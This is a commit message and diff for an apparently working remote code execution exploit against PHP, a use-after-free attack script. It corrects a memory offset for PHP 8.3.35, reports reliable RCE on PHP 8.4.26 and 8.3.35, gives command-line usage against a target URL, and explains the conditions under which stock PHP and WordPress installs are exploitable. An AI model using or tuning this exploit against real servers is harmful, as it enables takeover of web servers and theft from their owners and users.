Fix PHP 8.3.35 HTDATA_OFFSET and document display_errors constraint

- Correct HTDATA_OFFSET for PHP 8.3.35/bookworm from 0x690D8 to 0x700D8
  (different struct sizes shift the heap layout by 7 pages)
- Verified RCE: 8.4.26 and 8.3.35 both succeed on first attempt
- Document the display_errors=On requirement for the info leak stages
- Explain why stock PHP and stock WordPress-on-PHP are still vulnerable
  (display_errors defaults to On; WordPress ini_set runs after parsing)
- Add docker configs for display_errors=Off test containers

uaf-rce/rce_exploit.py

@@ -34,9 +34,13 @@ Requirements on the target:
     the exploit needs A and B requests to hit the same worker process)
   - Any PHP-handled URL (no session_start() needed on the page)
 
-Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success
+Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 5/5 RCE
         with stock settings (memory_limit=128M, post_max_size=8M).
-Based on research from 9bie/php2shell-bypass-aslr-exp.
+
+WordPress: vulnerable when installed on stock PHP (no php.ini), because
+  WordPress's ini_set('display_errors', 0) runs AFTER multipart parsing.
+  The official wordpress:* Docker images set display_errors=Off at the INI
+  level, which blocks the info leak. See README for details.
 
 Usage:
   python3 rce_exploit.py -u http://target/index.php                   # auto-detect
@@ -114,7 +118,7 @@ OFFSET_DB: dict[tuple[str, str], dict[str, int]] = {
     ("8.3.35", "bookworm"): {
         "ZIF_OFFSET": 0x3ac080,
         "DTOR_OFFSET": 0x49ec50,
-        "HTDATA_OFFSET": 0x690D8,
+        "HTDATA_OFFSET": 0x700D8,
         "profile": "bookworm",
     },
     # Official php:8.4.27-apache (Debian bookworm) -- PATCHED